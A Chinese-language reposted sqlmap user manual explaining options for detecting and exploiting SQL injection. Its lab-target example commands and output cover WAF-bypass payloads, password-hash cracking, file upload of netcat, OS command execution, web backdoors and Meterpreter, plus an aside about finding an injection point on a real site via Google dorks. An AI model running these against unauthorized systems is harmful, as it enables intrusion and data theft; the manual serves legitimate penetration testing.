SqlMap用户手册

SqlMap用户手册

转自：http://www.91ri.org/6775.html

投稿者： 梧桐雨 发表于： 2013-07-28 　 点击： 13,549

引：本文已经出了续篇，文章内容有点长，但都是精华，读者们耐心的看吧，续篇的链接在文末。

1 http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

当给sqlmap这么一个url的时候，它会：

1 1、判断可注入的参数
2
3 2、判断可以用那种SQL注入技术来注入
4
5 3、识别出哪种数据库
6
7 4、根据用户选择，读取哪些数据

sqlmap支持五种不同的注入模式：

1 1、基于布尔的盲注，即可以根据返回页面判断条件真假的注入。
2
3 2、基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。
4
5 3、基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。
6
7 4、联合查询注入，可以使用union的情况下的注入。
8
9 5、堆查询注入，可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有：

1 MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

 

可以提供一个简单的URL，Burp或WebScarab请求日志文件，文本文档中的完整http请求或者Google的搜索，匹配出结果页面，也可以自己定义一个正则来判断那个地址去测试。

测试GET参数，POST参数，HTTP Cookie参数，HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入，它也可以指定用逗号分隔的列表的具体参数来测试。

可以设定HTTP(S)请求的并发数，来提高盲注时的效率。

Youtube上有人做的使用sqlmap的视频：

http://www.youtube.com/user/inquisb/videos

http://www.youtube.com/user/stamparm/videos

使用sqlmap的实例文章：

http://unconciousmind.blogspot.com/search/label/sqlmap

可以点击https://github.com/sqlmapproject/sqlmap/tarball/master下载最新版本sqlmap。

也可以使用git来获取sqlmap

1 git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

之后可以直接使用命令来更新

1 python sqlmap.py --update

或者

1 git pull

 

更新sqlmap

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的，可以使用-v参数。

共有七个等级，默认为1：

01 0、只显示python错误以及严重的信息。
02
03 1、同时显示基本信息和警告信息。（默认）
04
05 2、同时显示debug信息。
06
07 3、同时显示注入的payload。
08
09 4、同时显示HTTP请求。
10
11 5、同时显示HTTP响应头。
12
13 6、同时显示HTTP响应页面。

 

如果你想看到sqlmap发送的测试payload最好的等级就是3。

获取目标方式

---

目标URL

参数：-u或者–url

格式：http(s)://targeturl[:port]/[…]

例如：python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

从Burp或者WebScarab代理中获取日志

参数：-l

可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出来交给sqlmap来一个一个检测是否有注入。

从文本中获取多个目标扫描

参数：-m

文件中保存url格式如下，sqlmap会一个一个检测

1 www.target1.com/vuln1.php?q=foobar
2
3 www.target2.com/vuln2.asp?id=1
4
5 www.target3.com/vuln3/id/1*

 

1 从文件中加载HTTP请求
2 参数：-r
3
4 sqlmap可以从一个文本文件中获取HTTP请求，这样就可以跳过设置一些其他参数（比如cookie，POST数据，等等）。
5
6 比如文本文件内如下：

 

1 POST /vuln.php HTTP/1.1
2 Host: www.target.com
3 User-Agent: Mozilla/4.0
4
5 id=1

 

当请求是HTTPS的时候你需要配合这个–force-ssl参数来使用，或者你可以在Host头后门加上:443

处理Google的搜索结果

参数：-g

sqlmap可以测试注入Google的搜索结果中的GET参数（只获取前100个结果）。

例子：

1 python sqlmap.py -g "inurl:".php?id=1""

 

（很牛B的功能，测试了一下，第十几个就找到新浪的一个注入点）

此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。

请求

---

http数据

参数：–data

此参数是把数据以POST方式提交，sqlmap会像检测GET参数一样检测POST的参数。

例子：

1 python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

 

参数拆分字符

参数：–param-del

当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

例子：

1 python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

 

HTTP cookie头

参数：–cookie,–load-cookies,–drop-set-cookie

这个参数在以下两个方面很有用：

1、web应用需要登陆的时候。

2、你想要在这些头参数中测试SQL注入时。

可以通过抓包把cookie获取到，复制出来，然后加到–cookie参数里。

在HTTP请求中，遇到Set-Cookie的话，sqlmap会自动获取并且在以后的请求中加入，并且会尝试SQL注入。

如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。

当你使用–cookie参数时，当返回一个Set-Cookie头的时候，sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候，sqlmap会尝试注入Cookie参数。

HTTP User-Agent头

参数：–user-agent,–random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是：

1 sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

 

可以使用–user-anget参数来修改，同时也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。

当–level参数设定为3或者3以上的时候，会尝试对User-Angent进行注入。

HTTP Referer头

参数：–referer

sqlmap可以在请求中伪造HTTP中的referer，当–level参数设定为3或者3以上的时候会尝试对referer注入。

额外的HTTP头

参数：–headers

可以通过–headers参数来增加额外的http头

HTTP认证保护

参数：–auth-type,–auth-cred

这些参数可以用来登陆HTTP的认证保护支持三种方式：

1、Basic

2、Digest

3、NTLM

例子：

1 python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

 

HTTP协议的证书认证

参数：–auth-cert

当Web服务器需要客户端证书进行身份验证时，需要提供两个文件:key_file，cert_file。

key_file是格式为PEM文件，包含着你的私钥，cert_file是格式为PEM的连接文件。

HTTP(S)代理

参数：–proxy,–proxy-cred和–ignore-proxy

使用–proxy代理是格式为：http://url:port。

当HTTP(S)代理需要认证是可以使用–proxy-cred参数：username:password。

–ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

HTTP请求延迟

参数：–delay

可以设定两个HTTP(S)请求间的延迟，设定为0.5的时候是半秒，默认是没有延迟的。

设定超时时间

参数：–timeout

可以设定一个HTTP(S)请求超过多久判定为超时，10.5表示10.5秒，默认是30秒。

设定重试超时

参数：–retries

当HTTP(S)超时时，可以设定重新尝试连接次数，默认是3次。

设定随机改变的参数值

参数：–randomize

可以设定某一个参数值在每一次请求中随机的变化，长度和类型会与提供的初始值一样。

利用正则过滤目标网址

参数：–scope

例如：

1 python sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"

 

避免过多的错误请求被屏蔽

参数：–safe-url,–safe-freq

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求，这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略，导致以后无法进行。

绕过这个策略有两种方式：

1 1、--safe-url：提供一个安全不错误的连接，每隔一段时间都会去访问一下。
2 2、--safe-freq：提供一个安全不错误的连接，每次测试请求之后都会再访问一边安全连接。

 

关掉URL参数值编码

参数：–skip-urlencode

根据参数位置，他的值默认将会被URL编码，但是有些时候后端的web服务器不遵守RFC标准，只接受不经过URL编码的值，这时候就需要用–skip-urlencode参数。

每次请求时候执行自定义的python代码

参数：–eval

在有些时候，需要根据某个参数的变化，而修改另个一参数，才能形成正常的请求，这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。

例子：

1 python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

 

上面的请求就是每次请求时根据id参数值，做一次md5后作为hash参数的值。

注入

---

测试参数

参数：-p,–skip

sqlmap默认测试所有的GET和POST参数，当–level的值大于等于2的时候也会测试HTTP Cookie头的值，当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如： -p “id,user-anget”

当你使用–level的值很大但是有个别参数不想测试的时候可以使用–skip参数。

例如：–skip=”user-angent.referer”

在有些时候web服务器使用了URL重写，导致无法直接使用sqlmap测试参数，可以在想测试的参数后面加*

例如：

1 python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

 

sqlmap将会测试value1的位置是否可注入。

指定数据库

参数：–dbms

默认情况系sqlmap会自动的探测web应用后端的数据库是什么，sqlmap支持的数据库有：

1 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

 

指定数据库服务器系统

参数：–os

默认情况下sqlmap会自动的探测数据库服务器系统，支持的系统有：Linux、Windows。

指定无效的大数字

参数：–invalid-bignum

当你想指定一个报错的数值时，可以使用这个参数，例如默认情况系id=13，sqlmap会变成id=-13来报错，你可以指定比如id=9999999来报错。

指定无效的逻辑

参数：–invalid-logical

原因同上，可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。

注入payload

参数：–prefix,–suffix

在有些环境中，需要在注入的payload的前面或者后面加一些字符，来保证payload的正常执行。

例如，代码中是这样调用数据库的：

1 $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要–prefix和–suffix参数了：

1 python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

这样执行的SQL语句变成：

1 $query = "SELECT * FROM users WHERE id=(’1’) AND (’abc’=’abc’) LIMIT 0, 1";

 

修改注入的数据

参数：–tamper

sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改，你可以使用–tamper参数对数据做修改来绕过WAF等设备。

下面是一个tamper脚本的格式：

01 # Needed imports
02 from lib.core.enums import PRIORITY
03 # Define which is the order of application of tamper scripts against
04 # the payload
05 __priority__ = PRIORITY.NORMAL
06 def tamper(payload):
07     '''
08     Description of your tamper script
09     '''
10     retVal = payload
11     # your code to tamper the original payload
12     # return the tampered payload
13     return retVal

 

可以查看 tamper/ 目录下的有哪些可用的脚本

例如：

01 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
02
03 [hh:mm:03] [DEBUG] cleaning up configuration parameters
04 [hh:mm:03] [INFO] loading tamper script 'between'
05 [hh:mm:03] [INFO] loading tamper script 'randomcase'
06 [hh:mm:03] [INFO] loading tamper script 'space2comment'
07 [...]
08 [hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
09 [hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
10 [hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
11 [hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
12 [...]
13 [hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
14 [hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
15 58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
16 ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
17 group/**/bY/**/x)a)
18 [hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
19 clause' injectable
20 [...]

 

探测

---

探测等级

参数：–level

共有五个等级，默认为1，sqlmap使用的payload可以在xml/payloads.xml中看到，你也可以根据相应的格式添加自己的payload。

这个参数不仅影响使用哪些payload同时也会影响测试的注入点，GET和POST的数据都会测试，HTTP Cookie在level为2的时候就会测试，HTTP User-Agent/Referer头在level为3的时候就会测试。

总之在你不确定哪个payload或者参数为注入点的时候，为了保证全面性，建议使用高的level值。

风险等级

参数：–risk

共有四个风险等级，默认是1会测试大部分的测试语句，2会增加基于事件的测试语句，3会增加OR语句的SQL注入测试。

在有些时候，例如在UPDATE的语句中，注入一个OR的测试语句，可能导致更新的整个表，可能造成很大的风险。

测试的语句同样可以在xml/payloads.xml中找到，你也可以自行添加payload。

页面比较

参数：–string,–not-string,–regexp,–code

默认情况下sqlmap通过判断返回页面的不同来判断真假，但有时候这会产生误差，因为有的页面在每次刷新的时候都会返回不同的代码，比如页面当中包含一个动态的广告或者其他内容，这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配，在原始页面与真条件下的页面都存在的字符串，而错误页面中不存在（使用–string参数添加字符串，–regexp添加正则），同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串，而错误页面中存在的字符串（–not-string添加）。用户也可以提供真与假条件返回的HTTP状态码不一样来注入，例如，响应200的时候为真，响应401的时候为假，可以添加参数–code=200。

参数：–text-only,–titles

有些时候用户知道真条件下的返回页面与假条件下返回页面的不同位置在哪里可以使用–text-only（HTTP响应体中不同）–titles（HTML的title标签中不同）。

注入技术

---

测试是否是注入

参数：–technique

这个参数可以指定sqlmap使用的探测技术，默认情况下会测试所有的方式。

支持的探测方式如下：

1 B: Boolean-based blind SQL injection（布尔型注入）
2 E: Error-based SQL injection（报错型注入）
3 U: UNION query SQL injection（可联合查询注入）
4 S: Stacked queries SQL injection（可多语句查询注入）
5 T: Time-based blind SQL injection（基于时间延迟注入）

 

设定延迟注入的时间

参数：–time-sec

当使用继续时间的盲注时，时刻使用–time-sec参数设定延时时间，默认是5秒。

设定UNION查询字段数

参数：–union-cols

默认情况下sqlmap测试UNION查询注入会测试1-10个字段数，当–level为5的时候他会增加测试到50个字段数。设定–union-cols的值应该是一段整数，如：12-16，是测试12-16个字段数。

设定UNION查询使用的字符

参数：–union-char

默认情况下sqlmap针对UNION查询的注入会使用NULL字符，但是有些情况下会造成页面返回失败，而一个随机整数是成功的，这是你可以用–union-char指定UNION查询的字符。

二阶SQL注入

参数：–second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面，而是另外的一个页面，这时候就需要你指定到哪个页面获取响应判断真假。–second-order后门跟一个判断页面的URL地址。

列数据

---

标志

参数：-b,–banner

大多数的数据库系统都有一个函数可以返回数据库的版本号，通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

用户

参数：–current-user

在大多数据库中可以获取到管理数据的用户。

当前数据库

参数：–current-db

返还当前连接的数据库。

当前用户是否为管理用

参数：–is-dba

判断当前的用户是否为管理，是的话会返回True。

列数据库管理用户

参数：–users

当前用户有权限读取包含所有用户的表的权限时，就可以列出所有管理用户。

列出并破解数据库用户的hash

参数：–passwords

当前用户有权限读取包含用户密码的表的权限时，sqlmap会现列举出用户，然后列出hash，并尝试破解。

例子：

01 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
02 [...]
03 back-end DBMS: PostgreSQL
04 [hh:mm:38] [INFO] fetching database users password hashes
05 do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
06 [hh:mm:42] [INFO] using hash method: 'postgres_passwd'
07 what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
08 [hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
09 do you want to use common password suffixes? (slow!) [y/N] n
10 [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
11 [hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
12 [hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
13 database management system users password hashes:
14 [*] postgres [1]:
15     password hash: md5d7d880f96044b72d0bba108ace96d1e4
16     clear-text password: testpass
17 [*] testuser [1]:
18     password hash: md599e5ea7a6f7c3269995cba3927fd0093
19     clear-text password: testpass

 

可以看到sqlmap不仅勒出数据库的用户跟密码，同时也识别出是PostgreSQL数据库，并询问用户是否采用字典爆破的方式进行破解，这个爆破已经支持Oracle和Microsoft SQL Server。

也可以提供-U参数来指定爆破哪个用户的hash。

列出数据库管理员权限

参数：–privileges

当前用户有权限读取包含所有用户的表的权限时，很可能列举出每个用户的权限，sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数：–roles

当前用户有权限读取包含所有用户的表的权限时，很可能列举出每个用户的角色，也可以用-U参数指定你想看哪个用户的角色。

仅适用于当前数据库是Oracle的时候。

列出数据库系统的数据库

参数：–dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候，即可列出所有的数据库。

列举数据库表

参数：–tables,–exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候，即可列出一个特定数据的所有表。

如果你不提供-D参数来列指定的一个数据的时候，sqlmap会列出数据库所有库的所有表。

–exclude-sysdbs参数是指排除了所有的系统数据库。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

参数：–columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候，即可列出指定数据库表中的字段，同时也会列出字段的数据类型。

如果没有使用-D参数指定数据库时，默认会使用当前数据库。

列举一个SQLite的例子：

01 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
02 [...]
03 Database: SQLite_masterdb
04 Table: users
05 [3 columns]
06 +---------+---------+
07 | Column  | Type    |
08 +---------+---------+
09 | id      | INTEGER |
10 | name    | TEXT    |
11 | surname | TEXT    |
12 +---------+---------+

 

列举数据库系统的架构

参数：–schema,–exclude-sysdbs

用户可以用此参数获取数据库的架构，包含所有的数据库，表和字段，以及各自的类型。

加上–exclude-sysdbs参数，将不会获取数据库自带的系统库内容。

MySQL例子：

01 $ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
02 [...]
03 Database: owasp10
04 Table: accounts
05 [4 columns]
06 +-------------+---------+
07 | Column      | Type    |
08 +-------------+---------+
09 | cid         | int(11) |
10 | mysignature | text    |
11 | password    | text    |
12 | username    | text    |
13 +-------------+---------+
14
15 Database: owasp10
16 Table: blogs_table
17 [4 columns]
18 +--------------+----------+
19 | Column       | Type     |
20 +--------------+----------+
21 | date         | datetime |
22 | blogger_name | text     |
23 | cid          | int(11)  |
24 | comment      | text     |
25 +--------------+----------+
26
27 Database: owasp10
28 Table: hitlog
29 [6 columns]
30 +----------+----------+
31 | Column   | Type     |
32 +----------+----------+
33 | date     | datetime |
34 | browser  | text     |
35 | cid      | int(11)  |
36 | hostname | text     |
37 | ip       | text     |
38 | referer  | text     |
39 +----------+----------+
40
41 Database: testdb
42 Table: users
43 [3 columns]
44 +---------+---------------+
45 | Column  | Type          |
46 +---------+---------------+
47 | id      | int(11)       |
48 | name    | varchar(500)  |
49 | surname | varchar(1000) |
50 +---------+---------------+
51 [...]

 

获取表中数据个数

参数：–count

有时候用户只想获取表中的数据个数而不是具体的内容，那么就可以使用这个参数。

列举一个Microsoft SQL Server例子：

1 $ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
2 [...]
3 Database: testdb
4 +----------------+---------+
5 | Table          | Entries |
6 +----------------+---------+
7 | dbo.users      | 4       |
8 | dbo.users_blob | 2       |
9 +----------------+---------+

 

获取整个表的数据

参数：–dump,-C,-T,-D,–start,–stop,–first,–last

如果当前管理员有权限读取数据库其中的一个表的话，那么就能获取这个表的所有内容。

使用-D,-T参数指定想要获取哪个库的哪个表，不适用-D参数时，默认使用当前库。

列举一个Firebird的例子：

01 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
02 [...]
03 Database: Firebird_masterdb
04 Table: USERS
05 [4 entries]
06 +----+--------+------------+
07 | ID | NAME   | SURNAME    |
08 +----+--------+------------+
09 | 1  | luther | blisset    |
10 | 2  | fluffy | bunny      |
11 | 3  | wu     | ming       |
12 | 4  | NULL   | nameisnull |
13 +----+--------+------------+

 

可以获取指定库中的所有表的内容，只用-dump跟-D参数（不使用-T与-C参数）。

也可以用-dump跟-C获取指定的字段内容。

sqlmap为每个表生成了一个CSV文件。

如果你只想获取一段数据，可以使用–start和–stop参数，例如，你只想获取第一段数据可以使用–stop 1，如果想获取第二段与第三段数据，使用参数 –start 1 –stop 3。

也可以用–first与–last参数，获取第几个字符到第几个字符的内容，如果你想获取字段中第三个字符到第五个字符的内容，使用–first 3 –last 5，只在盲注的时候使用，因为其他方式可以准确的获取注入内容，不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数：–dump-all,–exclude-sysdbs

使用–dump-all参数获取所有数据库表的内容，可同时加上–exclude-sysdbs只获取用户数据库的表，需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库，因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段，表，数据库

参数：–search,-C,-T,-D

–search可以用来寻找特定的数据库名，所有数据库中的特定表名，所有数据库表中的特定字段。

可以在一下三种情况下使用：

1 -C后跟着用逗号分割的列名，将会在所有数据库表中搜索指定的列名。
2 -T后跟着用逗号分割的表名，将会在所有数据库中搜索指定的表名
3 -D后跟着用逗号分割的库名，将会在所有数据库中搜索指定的库名。

 

运行自定义的SQL语句

参数：–sql-query,–sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术，如何插入检索语句。

如果是SELECT查询语句，sqlmap将会输出结果。如果是通过SQL注入执行其他语句，需要测试是否支持多语句执行SQL语句。

列举一个Mircrosoft SQL Server 2000的例子：

01 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
02
03 [...]
04 [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
05 [hh:mm:14] [INFO] retrieved: foo
06 SELECT 'foo':    'foo'
07
08 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
09
10 [...]
11 [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
12 [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
13 distinct queries to be able to retrieve the output even if we are going blind
14 [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
15 (CHAR(32)))
16 [hh:mm:50] [INFO] retrieved: foo
17 [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
18 [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
19 (CHAR(32)))
20 [hh:mm:50] [INFO] retrieved: bar
21 [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
22 SELECT 'foo', 'bar':    'foo, bar'

 

爆破

---

暴力破解表名

参数：–common-tables

当使用–tables无法获取到数据库的表时，可以使用此参数。

通常是如下情况：

1 1、MySQL数据库版本小于5.0，没有information_schema表。
2 2、数据库是Microssoft Access，系统表MSysObjects是不可读的（默认）。
3 3、当前用户没有权限读取系统中保存数据结构的表的权限。

 

暴力破解的表在txt/common-tables.txt文件中，你可以自己添加。

列举一个MySQL 4.1的例子：

01 $ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
02
03 [...]
04 [hh:mm:39] [INFO] testing MySQL
05 [hh:mm:39] [INFO] confirming MySQL
06 [hh:mm:40] [INFO] the back-end DBMS is MySQL
07 [hh:mm:40] [INFO] fetching banner
08 web server operating system: Windows
09 web application technology: PHP 5.3.1, Apache 2.2.14
10 back-end DBMS operating system: Windows
11 back-end DBMS: MySQL < 5.0.0
12 banner:    '4.1.21-community-nt'
13
14 [hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
15 [hh:mm:40] [INFO] adding words used on web page to the check list
16 please enter number of threads? [Enter for 1 (current)] 8
17 [hh:mm:43] [INFO] retrieved: users
18
19 Database: testdb
20 [1 table]
21 +-------+
22 | users |
23 +-------+

 

暴力破解列名

参数：–common-columns

与暴力破解表名一样，暴力跑的列名在txt/common-columns.txt中。

用户自定义函数注入

---

参数：–udf-inject,–shared-lib

你可以通过编译MySQL注入你自定义的函数（UDFs）或PostgreSQL在windows中共享库，DLL，或者Linux/Unix中共享对象，sqlmap将会问你一些问题，上传到服务器数据库自定义函数，然后根据你的选择执行他们，当你注入完成后，sqlmap将会移除它们。

系统文件操作

---

从数据库服务器中读取文件

参数：–file-read

当数据库为MySQL，PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。

列举一个Microsoft SQL Server 2005的例子：

01 $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"
02 --file-read "C:/example.exe" -v 1
03
04 [...]
05 [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
06 web server operating system: Windows 2000
07 web application technology: ASP.NET, Microsoft IIS 6.0, ASP
08 back-end DBMS: Microsoft SQL Server 2005
09
10 [hh:mm:50] [INFO] fetching file: 'C:/example.exe'
11 [hh:mm:50] [INFO] the SQL query provided returns 3 entries
12 C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
13 [...]
14
15 $ ls -l output/192.168.136.129/files/C__example.exe
16 -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
17
18 $ file output/192.168.136.129/files/C__example.exe
19 output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
20 80386 32-bit

 

把文件上传到数据库服务器中

参数：–file-write,–file-dest

当数据库为MySQL，PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

列举一个MySQL的例子：

01 $ file /software/nc.exe.packed
02 /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
03
04 $ ls -l /software/nc.exe.packed
05 -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
06
07 $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write
08 "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
09
10 [...]
11 [hh:mm:29] [INFO] the back-end DBMS is MySQL
12 web server operating system: Windows 2003 or 2008
13 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
14 back-end DBMS: MySQL >= 5.0.0
15
16 [...]
17 do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
18 written on the back-end DBMS file system? [Y/n] y
19 [hh:mm:52] [INFO] retrieved: 31744
20 [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
21 same size as the local file '/software/nc.exe.packed'

 

运行任意操作系统命令

参数：–os-cmd,–os-shell

当数据库为MySQL，PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定的函数。

在MySQL、PostgreSQL，sqlmap上传一个二进制库，包含用户自定义的函数，sys_exec()和sys_eval()。

那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server，sqlmap将会使用xp_cmdshell存储过程，如果被禁（在Microsoft SQL Server 2005及以上版本默认止），sqlmap会重新启用它，如果不存在，会自动创建。

列举一个PostgreSQL的例子：

01 $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1"
02 --os-cmd id -v 1
03
04 [...]
05 web application technology: PHP 5.2.6, Apache 2.2.9
06 back-end DBMS: PostgreSQL
07 [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
08 [hh:mm:12] [INFO] the back-end DBMS operating system is Linux
09 [hh:mm:12] [INFO] testing if current user is DBA
10 [hh:mm:12] [INFO] detecting back-end DBMS version from its banner
11 [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
12 [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
13 [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
14 [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
15 do you want to retrieve the command standard output? [Y/n/a] y
16 command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
17
18 [hh:mm:19] [INFO] cleaning up the database management system
19 do you want to remove UDF 'sys_eval'? [Y/n] y
20 do you want to remove UDF 'sys_exec'? [Y/n] y
21 [hh:mm:23] [INFO] database management system cleanup finished
22 [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
23 only be deleted manually

 

用–os-shell参数也可以模拟一个真实的shell，可以输入你想执行的命令。

当不能执行多语句的时候（比如php或者asp的后端数据库为MySQL时），仍然可能使用INTO OUTFILE写进可写目录，来创建一个web后门。支持的语言：

1 1、ASP
2 2、ASP.NET
3 3、JSP
4 4、PHP

 

Meterpreter配合使用

参数：–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path

当数据库为MySQL，PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定的函数，可以在数据库与攻击者直接建立TCP连接，这个连接可以是一个交互式命令行的Meterpreter会话，sqlmap根据Metasploit生成shellcode，并有四种方式执行它：

1 1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode，支持MySQL和PostgreSQL数据库，参数：--os-pwn。
2 2、通过用户自定义的函数上传一个独立的payload执行，MySQL和PostgreSQL的sys_exec()函数，Microsoft SQL Server的xp_cmdshell()函数，参数：--os-pwn。
3 3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode，当sqlmap获取到的权限足够高的时候（Linux/Unix的uid=0，Windows是Administrator），--os-smbrelay。
4 4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004)，在内存中执行Metasploit的payload，参数：--os-bof

列举一个MySQL例子：

